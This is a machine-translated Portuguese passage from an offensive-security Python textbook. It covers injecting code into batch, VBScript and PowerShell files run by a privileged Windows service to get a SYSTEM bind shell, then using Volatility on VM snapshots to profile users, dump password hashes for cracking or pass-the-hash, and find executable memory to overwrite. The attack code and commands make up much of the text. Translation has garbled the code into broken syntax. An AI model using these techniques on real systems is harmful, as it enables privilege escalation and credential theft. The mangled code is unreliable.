Abra um segundo shell cmd.exe e execute os seguintes comandos:

C:{\i1}Userstimwork> cd C:{\i1}Windowstemp C:{\i1}Temp>


echo hello > filetest.bat C:{\i1}WindowsTemp>
renomear filetest.bat file2test C:{\i1}WindowsTemp>
del file2test

Você deve ver o resultado que se parece com o seguinte:

[Criado c:WINDOWSTemp.filetest.bat [*]


Modificado c:WINDOWSTemp.filetest.bat
[vvv] Conteúdo de despejo ...
olá

[^^^] Lixão completo.


[Renomeado de c:WINDOWSTempTemp.filetest.bat
[<] Renomeado para c:WINDOWSTemp2test
[-] Apagado c:WINDOWS]Temp 2 test

Se tudo tiver funcionado como planejado, nós o encorajamos a


manter seu monitor de arquivos funcionando por 24 horas em um sistema
alvo. Você pode se surpreender ao ver arquivos sendo criados, executados
e excluídos. Você também pode usar seu roteiro de monitoramento de
processos para procurar por caminhos de arquivo adicionais interessantes
para monitorar. As atualizações de software podem ser de particular
interesse.
Vamos acrescentar a capacidade de injetar código nestes arquivos.

Injeção de código
Agora que podemos monitorar processos e localizações de arquivos,
injetaremos automaticamente o código nos arquivos de destino. Vamos criar
trechos de código muito simples que geram uma versão compilada da
ferramenta netcat.py com o nível de privilégio do serviço origi- nating. Há
uma vasta gama de coisas desagradáveis que você pode fazer com estes
arquivos VBScript, batch e PowerShell. Vamos criar a estrutura geral, e você
pode correr louco a partir daí. Modifique o script file_monitor.py e adicione o
seguinte código após as constantes de modificação do arquivo:

Escalada de Privilégios de Janelas 173


NETCAT = 'c:|usuários_trabalho.netcat.exe'
TGT_IP = '192.168.1.208
CMD = f'{NETCAT} -t {TGT_IP} -p 9999 -l -c '

174 Capítulo 10
O código que estamos prestes a injetar utilizará estas constantes: TGT_IP
é o endereço IP da vítima (a caixa do Windows em que estamos injetando o
código) e TGT_PORT é a porta à qual nos conectaremos. A variável NETCAT dá a
localização do substituto Netcat que codificamos no Capítulo 2. Se você não
criou um executável a partir desse código, você pode fazer isso agora:

C:\netcat> pyinstaller -F netcat.py

Em seguida, solte o arquivo netcat.exe resultante em seu diretório e


certifique-se de que a variável NETCAT aponte para aquele executável.
O comando que nosso código injetado executará cria uma concha com-
mand inversa:

1 FILE_TYPES = {
...morcego": ["bhpmarker bhpmarker bhpmarker bhpmarker bhpmarker
b h p m a r k e r bhpmarker bhpmarker bhpmarker bhpmarker bhpmarker
bhpmarker bhpmarker bhp
".ps1": [".ps1", ".vbs", ".rpm": [bhpmarkerr,
f'rr'nCreateObject("Wscript.Shell").Run("CMD")),
}

def inject_code(nome_do_filme completo, conteúdo, extensão):


2 se FILE_TYPES[extensão][0].strip() no
conteúdo: retornar

3 full_contents = FILE_TYPES[extensão][0]
full_contents += FILE_TYPES[extensão][1]
full_contents += contents
com open(full_filename, 'w') como f:
f.write(full_contents)
print('\o/ Código injetado')

Começamos definindo um dicionário de trechos de código que


correspondem a uma extensão de arquivo particular 1. Os trechos incluem
um marcador único e o código que queremos injetar. A razão pela qual
usamos um marcador é para evitar um loop infinito pelo qual nós
ver uma modificação do arquivo, inserir nosso código e fazer com que o
programa detecte esta ação como um evento de modificação do arquivo.
Deixado sozinho, este ciclo continuaria até que o arquivo se tornasse
gigantesco e o disco rígido começasse a chorar. Em vez disso, o programa
verificará o marcador e, se o encontrar, saberá não modificar o arquivo
um segundo de tempo.
Em seguida, a função inject_code manipula a injeção do código real e a
verificação do marcador de arquivo. Depois de verificarmos que o marcador
não existe 2, escrevemos o marcador e o código que queremos que o
processo alvo seja executado 3. Agora precisamos modificar nosso loop de
evento principal para incluir nossa verificação de extensão de arquivo.
e a chamada para injetar_código:

--snip--
elif action === FILE_MODIFIED:
1 extensão = os.path.splitext(full_filename)[1]

Escalada de Privilégios de Janelas 175


2 se extensão em FILE_TYPES:
print(f'[*] Modificado { f u l l _ f i l e n a m e } ')
print('[vvv] Dumping contents ... ')

176 Capítulo 10
tente:
com open(full_filename) como f:
content = f.read()
# NOVO CÓDIGO
inject_code(full_filename, contents, extension)
print(contents)
print('[^^^] Dump complete.')
exceto Exceção como e:
print(f'[!!!] Dump failed. { e } ')
--snip--

Esta é uma adição bastante simples ao laço primário. Fazemos uma


rápida divisão da extensão do arquivo 1 e depois a comparamos com
nosso dicionário de arquivos conhecidos do tipo 2. Se a extensão do
arquivo for detectada no dicionário, chamamos a função inject_code.
Vamos levá-la para um giro.

Chutando os Pneus
Se você instalou o bhservice no início deste capítulo, você pode testar
facilmente seu novo e sofisticado injetor de código. Certifique-se de que o
serviço está funcionando e depois execute seu file_monitor.py script.
Eventualmente, você deve ver a saída indicando que um arquivo .vbs foi
criado e modificado e que o código foi injetado. No exemplo a seguir,
comentamos a impressão do conteúdo para economizar espaço:

[Modificado c:WindowsTemp.bhservice_task.vbs
[vvv] Conteúdo de despejo ...
\o/ Código injetado
[^^^] Dump completo.

Se você abrir uma nova janela cmd, você deve ver que a porta alvo está
aberta:

c:|usuários_trabalho> netstat -an |findstr 9999


TCP 192.168.1.208:9999 0.0.0.0:0 OUVINDO

Se tudo correu bem, você pode usar o comando nc ou executar o script


netcat.py do Capítulo 2 para conectar o ouvinte que acabou de desovar. Para
ter certeza de que sua escalada de privilégios funcionou, conecte-se ao
ouvinte a partir de sua máquina Kali e verifique qual usuário você está
executando como:

$ nc -nv 192.168.1.208 9999


Conexão à porta 9999 [tcp/*] 192.168.1.208 bem sucedida! #>
whoami
nt
authority\system\sy
stem #> exit

Isto deve indicar que você obteve os privilégios da conta do SISTEMA


Sagrado. Sua injeção de código funcionou.

Escalada de Privilégios de Janelas 177


Você pode ter chegado ao final deste capítulo pensando que alguns
destes ataques são um pouco esotéricos. Mas se você passar tempo
suficiente dentro de uma grande empresa, você perceberá que estas táticas
são bastante viáveis. Você pode facilmente expandir as ferramentas neste
capítulo, ou transformá-las em scripts especializados para comprometer uma
conta ou aplicação local. O WMI sozinho pode ser uma excelente fonte de
dados de reconhecimento local; ele pode permitir que você promova um
ataque quando estiver dentro de uma rede de trabalho. A escalada de
privilégios é uma peça essencial para qualquer bom trojan.

178 Capítulo 10
Escalada de Privilégios de Janelas 179
11
O DE F E NSI V E FO R E NSI CS

O pessoal forense é frequentemente


chamado após uma brecha, ou para
determinar se ocorreu uma "mossa
incipiente". Eles normalmente
querem um instantâneo da RAM da máquina
afetada a fim de capturar chaves criptográficas ou
outras informações que residam apenas na memória.
Felizmente para eles, uma equipe de desenvolvedores
talentosos criou toda uma
Estrutura Python chamada Volatilidade que é adequada para esta tarefa e é
faturada como uma estrutura forense de memória avançada. Os responsáveis
por incidentes, os examinadores forenses e os analistas de malware podem
usar a Volatilidade também para uma variedade de outras tarefas, incluindo a
inspeção de objetos do núcleo, o exame e o despejo de pro- cesso, etc.
Embora Volatilidade seja um software para o lado defensivo, qualquer
ferramenta suficientemente poderosa pode ser usada para o ataque ou defesa.
Usaremos Volatility para fazer o reconhecimento de um usuário alvo e escrever
nossos próprios plug-ins ofensivos para buscar processos de fraca defesa
rodando em uma máquina virtual (VM).
Suponha que você se infiltra em uma máquina e descobre que o
usuário emprega uma VM para trabalhos sensíveis. As chances são boas de
que o usuário também tenha feito um instantâneo da VM como uma rede
de segurança, caso algo dê errado com ela. Usaremos a estrutura de análise
de memória de volatilidade para analisar o instantâneo
para descobrir como a VM é utilizada e quais processos estavam sendo
executados. Investigaremos também possíveis vulnerabilidades que podemos
aproveitar para uma maior exploração.
Vamos começar!

Instalação
A volatilidade já existe há vários anos e acaba de ser reescrita em forma de
com-preenchimento. Não apenas a base de código agora é fundada em
Python 3, mas toda a estrutura foi refatorada para que os componentes
sejam indepen- dentes; todo o estado necessário para executar um plug-in é
auto-contido.
Vamos criar um ambiente virtual apenas para nosso trabalho com
Volatilidade. Para este exemplo, estamos usando o Python 3 em uma
máquina Windows em um terminal PowerShell. Se você também estiver
trabalhando a partir de uma máquina Windows, certifique-se de ter o git
instalado. Você pode baixá-lo em https://git-scm.com/downloads/.

1 PS> python3 -m venv vol3


PS> vol3/Scripts/Activete.ps1
PS> cd vol3/
2 PS> git clone https://github.com/volatilityfoundation/volatility3.git
PS> volatilidade cd3/
PS> python setup.py install
3 PS> pip instalar pycryptodome

Primeiro, criamos um novo ambiente virtual chamado vol3 e o


ativamos 1. Em seguida, passamos para o diretório do ambiente virtual e
clonamos o Volatility 3 GitHub repo 2, instalamo-lo no ambiente virtual
e, finalmente, instalamos o pycryptodome 3, que precisaremos mais tarde.
Para ver os plug-ins que a Volatilidade oferece, assim como uma lista de
opções, use o
seguindo o comando no Windows:

PS> vol --ajuda

No Linux ou Mac, use o executável Python do ambiente virtual, como a


seguir:

$> python vol.py --ajuda

Neste capítulo, usaremos a Volatilidade da linha de comando, mas há


várias maneiras de encontrar a estrutura. Por exemplo, veja o projeto
Volumetric da Volatility, uma GUI gratuita baseada na web para a
volátilidade (https://github.com/volatilityfoundation/volumetric/). Você pode
pesquisar exemplos de código no projeto Volumetric para ver como você
pode usar a Volatilidade em
seus próprios programas. Além disso, você pode usar a interface volshell,
que lhe dá acesso à estrutura de Volatilidade e funciona como uma concha
Python interativa normal.

170 Capítulo 11
Assine o DeepL Pro para traduzir arquivos maiores.
Mais informações em www.DeepL.com/pro.

Nos exemplos que se seguem, usaremos a linha de comando


Volatilidade. Para economizar espaço, a saída foi editada para mostrar
apenas a saída discutida, portanto esteja ciente de que sua saída terá mais
linhas e colunas.
Agora vamos mergulhar em algum código e dar uma olhada dentro da
estrutura:

PS> cd volatilidade/estrutura/plugin/janelas/
PS> ls
_init.py driverscan.py memmap.py .pyvadinfo.py
bigpools.py filescan.py modscan.pypstree .py
vadyarascan.py cachedump.py handles.pymodules . pyregistry/
verinfo.py callbacks.py hashdump.pymutantscan .py
ssdt.py virtmap.py cmdline.py info.py
netscan.py strings.py
dlllist.py lsadump.pypoolscanner .py
svcscan.py driverirp.py malfind.pypslist .py
symlinkscan.py

Esta listagem mostra os arquivos Python dentro do diretório de plugins


do Windows. Encorajamos você a passar algum tempo olhando para o código
nestes arquivos. Você verá um padrão recorrente que forma a estrutura de
um plug-in de Volatilidade. Isto o ajudará a entender a estrutura, mas, mais
importante, lhe dará uma imagem da mentalidade e das intenções de um
defensor. Sabendo do que os defensores são capazes e como eles realizam
seus objetivos, você se tornará um hacker mais capaz e entenderá melhor
como se proteger da detecção.
Agora que temos a estrutura de análise pronta, precisamos de algumas
imagens de memória para analisar. A maneira mais fácil de obter uma é tirar
um instantâneo de sua própria máquina virtual Windows 10.
Primeiro, energize seu Windows VM e inicie alguns processos (por
exemplo, o bloco de notas, a calculadora e um navegador); examinaremos a
memória e acompanharemos como esses processos começaram. Em seguida,
tire sua foto usando seu hipervisor de escolha. No diretório onde seu
hipervisor armazena suas VMs, você verá seu novo arquivo de snapshot com
um nome que termina com .vmem ou .mem. Vamos começar a fazer algum
reconhecimento!
Note que você também pode encontrar muitas imagens de memória
online. Uma imagem que veremos neste capítulo é fornecida por PassMark
Software em https://www
.osforensics.com/tools/volatility-workbench.html/. O site da Volatility Foundation
também tem várias imagens para jogar em
https://github.com/volatilityfoundation/ volatility/wiki/Memory-Samples/.

Forense ofensiva 171


Reconhecimento Geral
Vamos ter uma visão geral da máquina que estamos analisando. O plug-in
windows.info mostra o sistema operacional e as informações do kernel da
amostra da memória:

1 PS>vol -f WinDev2007Eval-Snapshot4.vmem windows.info


Volatilidade 3 Estrutura 1.2.0-beta.1
Progresso: 33. 01Scanning primary2 usando PdbSignatureScanner
Variable Valor

Kernel
Base0xf80067
a18000 DTB 0x1aa000

172 Capítulo 11
primário 0 WindowsIntel32e
memory_layer1
FileLayer
KdVersionBlock
0xf800686272f0 Major/Minor
15.19041
MachineType 34404
KeNumberProcessors 1
SystemTime2020-09-04 00:53:46
NtProductType
NtProdutoVer
são de produto 10
NtMinorVersion 0
PE MajorOperatingSystemVersion 10
PE MinorOperatingSystemVersion 0
Máquina de PE 34404

Especificamos o nome do arquivo snapshot com a chave -f e o plug-in do


Windows a ser usado, windows.info 1. Volatilidade lê e analisa o arquivo de
memória e fornece informações gerais sobre esta máquina Windows.
Podemos ver
que estamos lidando com uma VM Windows 10.0 e que ela tem um único
processo - Sor e uma única camada de memória.
Você pode achar educativo experimentar vários plug-ins no arquivo
de imagem da memória enquanto revisa o código do plug-in. Passar o
tempo lendo o código e ver a saída correspondente mostrará como o
código é suposto funcionar, assim como a mentalidade geral dos
defensores.
Em seguida, com o plug-in register.printkey, podemos imprimir os
valores de uma chave no registro. Há uma riqueza de informações no registro,
e a Volatilidade fornece uma maneira de encontrar qualquer valor que
desejamos. Aqui, procuramos por serviços instalados. A chave
/ControlSet001/Services mostra o banco de dados do Service Control
Manager, que lista todos os serviços instalados:

PS>vol -f WinDev2007Eval-7d959ee5.vmem windows.registry.registry.printkey --key


'ControlSet001\Services'
Volatilidade 3 Estrutura 1.2.0-beta.1
Progresso: 33.01Scanning primary2 usando PdbSignatureScanner
... Chave Nome Dados Volatil
\REGISTRYMACHINESYSTEMControlSet001Services .NET CLR Data Falso
\REGISTRYMACHINESYSTEMControlSet001Services Appinfo Falso
\REGISTRYMACHINESYSTEMSControlSet001Services applockerflogtr Falso
\REGISTRYMACHINESYSTEMControlSet001Serviços AtomicAlarmClock Falso
\REGISTRYMACHINESYSTEMControlSet001Services Beep Falso
\REGISTRYMACHINESYSTEMControlSet001Services fastfat Falso
\REGISTRYMACHINESYSTEMControlSet001Serviços MozillaMaintenance False
\REGISTRYMACHINESYSTEMControlSet001Services NTDS Falso
\REGISTRYMACHINESYSTEMControlSet001Services Ntfs Falso

Forense ofensiva 173


\REGISTRYMACHINESYSTEMControlSet001Serviços ShellHWDetection Falso
\REGISTRYMACHINESYSTEMControlSet001Services SQLWriter Falso
\REGISTRYMACHINESYSTEMControlSet001Services Tcpip Falso
\REGISTRYMACHINESYSTEMControlSet001Services Tcpip6 Falso
\REGISTRYMACHINESYSTEMControlSet001Services terminpt Falso
\REGISTRYMACHINESYSTEMControlSet001Services W32Time Falso
\REGISTRYMACHINESYSTEMControlSet001Serviços WaaSMedicSvc Falso
\REGISTRYMACHINESYSTEMControlSet001Services WacomPen Falso
\REGISTRYMACHINESYSTEMControlSet001Services Winsock Falso

174 Capítulo 11
\REGISTRYMACHINESYSTEMControlSet001Services WinSock2 Falso
\REGISTRYMACHINESYSTEMControlSet001Serviços WINUSB Falso

Esta saída mostra uma lista de serviços instalados na máquina


(abbrevi- ated for space).

Reconhecimento do usuário
Agora vamos fazer algum reconhecimento sobre o usuário do VM. O plug-in
cmdline lista os argumentos de linha de comando para cada processo
enquanto eles estavam rodando no momento em que a foto foi tirada. Estes
processos nos dão uma dica sobre o comportamento e a intenção do
usuário.

PS>vol -f WinDev2007Eval-7d959ee5.vmem windows.cmdline


Volatilidade 3 Estrutura 1.2.0-beta.1
Progresso: 33.01Scanning primary2 usando PdbSignatureScanner
PID Argumentos
sobre o
processo
72 Registro A memória necessária em 0x20 não é válida (processo encerrado?)
340 smss.exe A memória necessária em 0xa5f1873020 é inacessível (trocada)
564 lsass.exe C:\system32sass.exe
624 winlogon.exe winlogon.exe
2160 MsMpEng.exe "C: Plataforma Defender WindowsData da Microsoft" 4.18.2008.9-0
MsMpEng.exe".
4732 explorer.exe C:\Windows\Explorer.EXE
4848 svchost.exe C:\system32\schchchost.exe -k ClipboardSvcGroup -p
4920 dllhost.exe C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-
B78D-
A8F59079A8D5}
5084 StartMenuExp "C:WindowsSystemApps Microsoft.Windows". ."
er
5388 MicrosoftEdge "C: WindowsSystemApps" MicrosoftEdge_. . ."
.
6452 OneDrive.exe "C:{\i1}Usuarios:{\i}Administrador:{\i}AppData:{\i}Local:{\i1}Microsoft:
OneDrive:OneDrive.exe"
/fundo
6484 FreeDesktopCl "C: Arquivos de programas Relógio de mesa gratuito
o FreeDesktopClock.exe"
7092 cmd.exe "C:\system32cmd.exe" 1
3312 notepad.exe bloco de notas 2
3824 powerhell.exe "C:WindowsSystem32WindowsPowerShellv1.0powershell.exe"
6448 Calculadora.ex "C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_. . ."
e
6684 firefox.exe "C: Arquivos de programa (x86)Mozilla Firefoxfirefox.exe".
6432 PowerToys.ex "C:\PowerToys\PowerToys.exe"
e
7124 nc64.exe A memória necessária em 0x2d7020 é inacessível (trocada)
3324 smartscreen.e C:\System32System32.exe -Embedding
x
4768 ipconfig.exe A memória necessária em 0x840308e020 não é válida (processo
encerrado?)

A lista mostra a identificação do processo, nome do processo e linha


Forense ofensiva 175
de comando com os argumentos que iniciaram o processo. Você pode ver
que a maioria dos processos foi iniciada pelo próprio sistema, muito
provavelmente no momento da inicialização. O cmd.exe 1 e
notepad.exe 2 processos são processos típicos que um usuário iniciaria.
Vamos investigar os processos em andamento um pouco mais a fundo
com o
pslist plug-in, que lista os processos que estavam em execução no
momento da foto.

176 Capítulo 11
PS>vol -f WinDev2007Eval-7d959ee5.vmem windows.pslist
Volatilidade 3 Estrutura 1.2.0-beta.1
Progresso: 33.01Scanning primary2 usando PdbSignatureScanner PID
PPID ImageFileName
Offset(V)Sessão de Manipulação de FiosId
Uau64

4 0 Sistema 0xa50bb3e6d 129 - N/A Falso


040
72 4 Registro 0xa50bb3fbd 4 - N/A Falso
080
6452 4732 OneDrive.exe 0xa50bb4d62 25 - 1 Verda
080 deiro
6484 4732 FreeDesktopCl 0xa50bbb847 1 - 1 Falso
o 300
6212 556 SgrmBroker.e 0xa50bbb832 6 - 0 Falso
xe 080
1636 556 svchost.exe 0xa50bbadbe 8 - 0 Falso
340
7092 4732 cmd.exe 0xa50bbbc4d 1 - 1 Falso
080
3312 7092 notepad.exe 0xa50bbb69a 3 - 1 Falso
080
3824 4732 powerhell.exe 0xa50bbb92d 11 - 1 Falso
080
6448 704 Calculadora.ex 0xa50bb4d0d 21 - 1 Falso
e 0c0
4036 6684 firefox.exe 0xa50bbb178 0 - 1 Verda
080 deiro
6432 4732 PowerToys.ex 0xa50bb4d5a 14 - 1 Falso
e 2c0
4052 4700 PowerLaunche 0xa50bb7fd3 16 - 1 Falso
r. 080
5340 6432 Microsoft.Pow 0xa50bb736f0 15 - 1 Falso
e 80
8564 4732 python-3.8.6-a 0xa50bb7bc2 1 - 1 Verda
080 deiro
7124 7092 nc64.exe 0xa50bbab89 1 - 1 Falso
080
3324 704 smartscreen.e 0xa50bb4d6a 7 - 1 Falso
x 080
7364 4732 cmd.exe 0xa50bbd8a8 1 - 1 Falso
080
8916 2136 cmd.exe 0xa50bb78d9 0 - 0 Falso
080
4768 8916 ipconfig.exe 0xa50bba7bd 0 - 0 Falso
080

Aqui vemos os processos reais e seus offsets de memória. Alguns col-


umns foram omitidos para o espaço. Vários processos interessantes são
listados, incluindo os processos cmd e bloco de notas que vimos na saída do
plug-in cmdline.
Seria bom ver os processos como uma hierarquia, para que possamos dizer
qual processo iniciou outros processos. Para isso, usaremos o plug-in pstree:

Forense ofensiva 177


PS>vol -f WinDev2007Eval-7d959ee5.vmem windows.pstree

Volatilidade 3 Estrutura 1.2.0-beta.1


Progresso: 33.01Scanning primary2 usando PdbSignatureScanner PID
PPID ImageFileName Offset(V) Sessão de
Manipulação de RoscasId Wow64
4 0 Sistema 0xa50bba7bd 129 N/A Falso
080
* 556 492 serviços.exe 0xa50bba7bd 8 0 Falso
080
** 2176 556 wlms.exe 0xa50bba7bd 2 0 Falso
080
** 1796 556 svchost.exe 0xa50bba7bd 13 0 Falso
080
** 776 556 svchost.exe 0xa50bba7bd 15 0 Falso
080
** 8 556 svchost.exe 0xa50bba7bd 18 0 Falso
080
*** 4556 8 ctfmon.exe 0xa50bba7bd 10 1 Falso
080
*** 5388 704 MicrosoftEdge 0xa50bba7bd 35 1 Falso
. 080
*** 6448 704 Calculadora.ex 0xa50bba7bd 21 1 Falso
e 080
*** 3324 704 smartscreen.e 0xa50bba7bd 7 1 Falso
x 080
** 2136 556 vmtoolsd.exe 0xa50bba7bd 11 0 Falso
080
*** 8916 2136 cmd.exe 0xa50bba7bd 0 0 Falso
080
**** 4768 8916 ipconfig.exe 0xa50bba7bd080 0 0 Falso

178 Capítulo 11
* 4704 624 userinit.exe 0xa50bba7bd 0 1 Falso
080
** 4732 4704 explorer.exe 0xa50bba7bd 92 1 Falso
080
*** 6432 4732 PowerToys.exe 0xa50bba7bd 14 1 Falso
080
**** 5340 6432 Microsoft.Powe 0xa50bba7bd 15 1 Falso
080
*** 7364 4732 cmd.exe 0xa50bba7bd 1 - Falso
080
**** 2464 7364 conhost.exe 0xa50bba7bd 4 1 Falso
080
*** 7092 4732 cmd.exe 0xa50bba7bd 1 - Falso
080
**** 3312 7092 notepad.exe 0xa50bba7bd 3 1 Falso
080
**** 7124 7092 nc64.exe 0xa50bba7bd 1 1 Falso
080
*** 8564 4732 python-3.8.6-a 0xa50bba7bd 1 1 Verdadeiro
080
**** 1036 8564 python-3.8.6-a 0xa50bba7bd 5 1 Verdadeiro
080

Agora temos uma imagem mais clara. O asterisco em cada linha indica
a relação pai-filho do processo. Por exemplo, o processo userinit (PID
4704) gerou o processo explorer.exe. Da mesma forma, o processo
explorer.exe (PID 4732) iniciou o processo cmd.exe (PID 7092). A partir
desse pro- cess, o usuário iniciou o notepad.exe e outro processo chamado
nc64.exe.
Agora vamos verificar as senhas com o hashdump plug-in:

PS> vol -f WinDev2007Eval-7d959ee5.vmem windows.hashdump


Volatilidade 3 Estrutura 1.2.0-beta.1
Progresso: 33.01 Scanning primary2 usando
Usuário rid PdbSignatureScanner
lmhash nthash

Administrador 500 aad3bXXXXXXXXaad3bXXXXXXXX


fc6eb57eXXXXXXXXXXXXXXX657878
Convidado 501 aad3bXXXXXXXXaad3bXXXXXXXX
1d6cfe0dXXXXXXXXXXXXXXXc089c0
DefaultAccount 503 aad3bXXXXXXXXaad3bXXXXXXXX
1d6cfe0dXXXXXXXXXXXXXXXc089c0
WDAGUtilityAcco 504 aad3bXXXXXXXXaad3bXXXXXXXX
unt ed66436aXXXXXXXXXXXXXXX1bb50f
Usuário 100 aad3bXXXXXXXXaad3bXXXXXXXX
1 31d6cfe0XXXXXXXXXXXXXXXc089c0
tim 100 aad3bXXXXXXXXaad3bXXXXXXXX
2 afc6eb57XXXXXXXXXXXXX657878
admin 100 aad3bXXXXXXXXaad3bXXXXXXXX
3 afc6eb57XXXXXXXXXXXXX657878

A saída mostra os nomes de usuário da conta e os hashes LM e NT de


suas senhas. Recuperar os hashes de senhas em uma máquina Windows
após a penetração é um objetivo comum dos atacantes. Estes hashes

Forense ofensiva 179


podem ser quebrados offline na tentativa de recuperar a senha do alvo, ou
podem ser usados em um ataque de "pass-the-hash" para obter acesso a
outros recursos da rede. Se o alvo é um usuário paranóico que executa
operações de alto risco apenas em uma VM ou se é uma empresa que
tenta conter algumas das atividades de seus usuários para VMs, olhar
através das VMs ou snapshots no sistema é o momento perfeito para
tentar recuperar estes hashes após ter obtido acesso ao hardware do host.
A volatilidade torna este processo de recuperação extremamente fácil.
Ofuscamos os hashes em nossa produção. Você pode usar sua própria
saída como entrada para uma ferramenta de quebra de hash para encontrar
seu caminho para a VM. Existem sev- eral sites de quebra de hash online;
alternativamente, você pode usar John the Ripper em sua máquina Kali.

180 Capítulo 11
Reconhecimento de Vulnerabilidade
Agora vamos usar a Volatilidade para descobrir se o VM alvo tem
vulnerabilidades que podemos ser capazes de explorar. O plug-in com defeito
verifica as faixas de memória de processo que potencialmente contêm código
injetado. Potencial é a palavra-chave aqui - o plug-in está procurando regiões
de memória que tenham permissões para ler, escrever e executar. Vale a
pena investigar estes processos, pois eles podem nos permitir aproveitar
algum malware que já está disponível. Alternativamente, podemos ser capazes
de sobrescrever essas regiões com nosso próprio malware.

PS>vol -f WinDev2007Eval-7d959ee5.vmem windows.vmem malfind


Volatilidade 3 Estrutura 1.2.0-beta.1
Progresso: 33.01Scanning primary2 usando PdbSignatureScanner
PID ProcessStart VPNEnd VPNTag Protection CommitCharge

1336 timeserv.exe 0x660000 0x660fffVadS PAGE_EXECUTE_READWRITE 1


2160 MsMpEng.exe 0x16301690000 0x1630179cfff VadS 269
PAGE_EXECUTE_READWRITE
2160 MsMpEng.exe 0x16303090000 0x1630318ff VadS 256
PAGE_EXECUTE_READWRITE
2160 MsMpEng.exe 0x16304a00000 0x16304bfffff VadS 512
PAGE_EXECUTE_READWRITE
6484 0x2320000 0x2320fffVadS 1
FreeDesktopClo PAGE_EXECUTE_READWRITE
5340 0x2c2502c0000 0x2c2502cff VadS 15
Microsoft.Powe PAGE_EXECUTE_READWRITE

Encontramos um par de problemas potenciais. O timeserv.exe pro- cess


(PID 1336) faz parte do freeware conhecido como FreeDesktopClock (PID
6484). Estes processos não são necessariamente um problema desde que
sejam instalados sob C:\Program Files. Caso contrário, o processo pode ser
um malware mascarado como um relógio.
Usando um mecanismo de busca, você verá que o processo
MsMpEng.exe (PID 2160) é um serviço anti-malware. Embora estes
processos possam ser escritos e executados em regiões com memória
executável, eles não parecem ser perigosos. Talvez pudéssemos tornar estes
processos perigosos escrevendo código de shell nessas regiões de memória,
por isso vale a pena tomar nota deles.
O plug-in netscan fornece uma lista de todas as conexões de rede que
a máquina tinha no momento da foto, como mostrado a seguir. Qualquer
coisa que pareça suspeita, podemos ser capazes de alavancar em um
ataque.

PS>vol -f WinDev2007Eval-7d959ee5.vmem windows.netscan


Volatilidade 3 Estrutura 1.2.0-beta.1
Progresso: 33.01Scanning primary2 usando PdbSignatureScanner
OffsetProto LocalAddr LocalPort ForeignAdd ForeignPort StatePID Proprietário

0xa50bb7a13d TCPv 0.0.0.0 4444 0.0.0.0 0 LISTENING7124 nc64.exe


90 4 1
Forense ofensiva 181
0xa50bb9f4c3 TCPv 0.0.0.0 7680 0.0.0.0 0 OUVINDO1776
10 4 svchost.exe
0xa50bb9f615 TCPv 0.0.0.0 49664 0.0.0.0 0 LISTENING564
c0 4 lsass.exe
0xa50bb9f621 TCPv 0.0.0.0 49665 0.0.0.0 0 LISTENING492
90 4 wininit.exe
0xa50bbaa80b TCPv 192.168.28.12 50948 23.40.62.19 80CLOSED 2
20 4 8
w0xa50bbabd2010 TCPv4 192.168.28.128 50954 23.193.33.57 443 FECHADO
0xa50bbad8d010 TCPv4 192.168.28.128 50953 99.84.222.93 443 FECHADO
0xa50bbaef3010 TCPv4 192.168.28.128 50959 23.193.33.57 443 FECHADO
0xa50bbaff7010 TCPv4 192.168.28.128 50950 52.179.224.121 443FECHADO
0xa50bbbd240a0 TCPv4 192.168.28.128 1390 .0.0.0 0 OUVINDO

182 Capítulo 11
Vemos algumas conexões da máquina local (192.168.28.128),
aparentemente para um par de servidores web 2; estas conexões estão agora
fechadas. Mais importantes são as conexões marcadas como LISTENING.
Aquelas que são
de propriedade de processos Windows reconhecíveis (svchost, lsass, wininit)
pode estar bem, mas o processo nc64.exe é desconhecido 1. Ele está
escutando no porto 4444, e vale a pena dar uma olhada mais profunda,
usando nosso substituto netcat de
Capítulo 2 para sondar essa porta.

A interface volshell
Além da interface de linha de comando, você pode usar a Volatilidade em
uma concha cus- tom Python com o comando volshell. Isto lhe dá todo o
poder da Volatilidade, bem como uma concha Python completa. Aqui está
um exemplo de uso do plug-in pslist em uma imagem do Windows
usando volshell:

PS> volshell -w -f WinDev2007Eval-7d959ee5.vmem 1


>>> da volatilidade.plugins.windows importar pslist 2
>>> dpo(pslist.PsList, primary=self.current_layer, nt_symbols=self.config['nt_symbols']) 3
PID PPID ImageFileName Offset(V)Sessão de Manipulação de FiosId Uau64

4 0 Sistema 0xa50bb3e6d040 129 - N/A Falso


72 4 Registro 0xa50bb3fbd080 4 - N/A Falso
6452 4732 OneDrive.exe 0xa50bb4d62080 25 - 1 Verdadeiro
6484 4732 FreeDesktopCl 0xa50bbb847300 1 - 1 Falso
o
...

Neste breve exemplo, usamos a chave -w para dizer à Volatilidade que


estamos analisando uma imagem do Windows e a chave -f para especificar
a própria imagem 1. Uma vez que estamos na interface volshell, nós a usamos
como uma concha Python normal.
Ou seja, você pode importar pacotes ou escrever funções como
normalmente faria, mas agora você também tem a Volatilidade embutida na
casca. Importamos o plug-in pslist 2 e a saída do display (a função dpo) a
partir do plug-in 3.
Você pode encontrar mais informações sobre o uso do volshell entrando no
volshell
--ajuda.

Plug-Ins de Volatilidade Personalizados


Acabamos de ver como podemos usar os plug-ins de Volatilidade para analisar
um disparo de VM para as vulnerabilidades existentes, traçar o perfil do
usuário verificando os comandos e processos em uso, e despejar os
Forense ofensiva 183
hashes de senha. Mas como você pode escrever seus próprios plug-ins
personalizados, apenas sua imaginação limita o que você pode fazer com
a Volatilidade. Se você precisar de informações adicionais baseadas em
pistas encontradas nos plug-ins padrão, você pode fazer um plug-in
próprio.
A equipe de Volatilidade facilitou a criação de um plug-in, desde que
você siga o padrão deles. Você pode até mesmo fazer com que seu novo plug-in
chame outros plug-ins para tornar seu trabalho ainda mais fácil.

184 Capítulo 11
Vamos dar uma olhada no esqueleto de um plug-in
típico:

importações . . .

1 classe
CmdLine(interfaces.plugin.PluginInterface)
: @classmethod
2 def
get_requirements(cls
): passe

3 def run(self):
passe

4 def generator(self, procs):


passe

Os principais passos aqui são criar sua nova classe para herdar da
PluginInterface 1, definir os requisitos de seu plug-in 2, definir o método de
execução 3, e definir o método gerador 4. O método gerador é opcional,
mas separá-lo do método de execução é um padrão útil para você.
ver em muitos plug-ins. Separando-o e usando-o como um gerador Python,
você pode obter resultados mais rápidos e tornar seu código mais fácil de
entender.
Vamos seguir este padrão geral para criar um plug-in personalizado
que verificará os processos que não são protegidos pelo layout do espaço de
endereçamento, a random- ização (ASLR). A ASLR mistura o espaço de
endereços de um processo vulnerável, o que afeta a localização da memória
virtual de montes, pilhas e outras alocações de sistemas operacionais. Isso
